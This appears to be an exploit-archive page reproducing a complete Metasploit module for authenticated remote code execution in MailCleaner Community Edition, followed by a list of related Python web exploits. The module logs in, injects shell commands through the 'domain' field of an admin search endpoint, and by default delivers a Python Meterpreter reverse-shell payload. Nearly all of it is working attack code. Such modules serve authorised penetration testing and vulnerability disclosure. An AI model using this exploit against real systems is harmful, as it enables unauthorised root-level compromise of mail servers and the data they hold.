Become a patron and gain access to the dashboard, Schedule scans, API and Search patron
Author
"Mehmet Ince"
Platform
python
Release date
2019-01-07
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 | ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Mailcleaner Remote Code Execution", 'Description' => %q{ This module exploits the command injection vulnerability of MailCleaner Community Edition product. An authenticated user can execute an operating system command under the context of the web server user which is root. /admin/managetracing/search/search endpoint takes several user inputs and then pass them to the internal service which is responsible for executing operating system command. One of the user input is being passed to the service without proper validation. That cause a command injection vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mehmet Ince <[email protected]>' # author & msf module ], 'References' => [ ['URL', 'https://pentest.blog/advisory-mailcleaner-community-edition-remote-code-execution/'] ], 'DefaultOptions' => { 'SSL' => true, 'WfsDelay' => 5, 'Payload' => 'python/meterpreter/reverse_tcp' }, 'Platform' => ['python', 'unix'], 'Arch' => [ ARCH_PYTHON, ARCH_CMD ], 'Targets' => [ [ 'Python payload', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON, } ], [ 'Command payload', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'BadChars' => "\x26", } } ] ], 'Privileged' => false, 'DisclosureDate' => "Dec 19 2018", 'DefaultTarget' => 0 )) register_options( [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']), OptString.new('USERNAME', [true, 'The username to login as']), OptString.new('PASSWORD', [true, 'The password to login with']) ] ) end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def auth print_status('Performing authentication...') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin/') }) if res && !res.get_cookies.empty? cookie = res.get_cookies else fail_with(Failure::UnexpectedReply, 'Did not get cookie-set header from response.') end # Performing authentication res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin/'), 'cookie' => cookie, 'vars_post' => { 'username' => username, 'password' => password, 'submit' => 'Log+in' } }) if res && res.code == 302 print_good("Awesome..! Authenticated with #{username}:#{password}") else fail_with(Failure::NoAccess, 'Credentials are not valid.') end cookie end def exploit cookie = auth if cookie.nil? fail_with(Failure::Unknown, 'Something went wrong!') end print_status('Exploiting command injection flaw') if target['Arch'] == ARCH_PYTHON cmd = "';$(python -c \"#{payload.encoded}\");#" else cmd = "';#{payload.encoded};#" end send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'managetracing', 'search', 'search'), 'cookie' => cookie, 'vars_post' => { 'search' => rand_text_alpha(5), 'domain' => cmd, 'submit' => 1 } }) end end |
Release Date | Title | Type | Platform | Author |
---|---|---|---|---|
2020-10-23 | "Ajenti 2.1.36 - Remote Code Execution (Authenticated)" | webapps | python | "Ahmet Ümit BAYRAM" |
2020-10-16 | "aaPanel 6.6.6 - Privilege Escalation & Remote Code Execution (Authenticated)" | webapps | python | "Ünsal Furkan Harani" |
2020-08-04 | "Pi-hole 4.3.2 - Remote Code Execution (Authenticated)" | webapps | python | "Luis Vacacas" |
2019-12-24 | "Django < 3.0 < 2.2 < 1.11 - Account Hijack" | webapps | python | "Ryuji Tsutsui" |
2019-10-14 | "Ajenti 2.1.31 - Remote Code Execution" | webapps | python | "Jeremy Brown" |
2019-09-30 | "TheSystem 1.0 - Command Injection" | webapps | python | "Sadik Cetin" |
2019-09-30 | "thesystem 1.0 - Cross-Site Scripting" | webapps | python | "Anıl Baran Yelken" |
2019-04-03 | "PhreeBooks ERP 5.2.3 - Remote Command Execution" | remote | python | "Metin Yunus Kandemir" |
2019-02-15 | "Jinja2 2.10 - 'from_string' Server Side Template Injection" | webapps | python | JameelNabbo |
2019-01-07 | "Mailcleaner - Authenticated Remote Code Execution (Metasploit)" | remote | python | "Mehmet Ince" |
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/46075/?format=json')
For full documentation follow the link above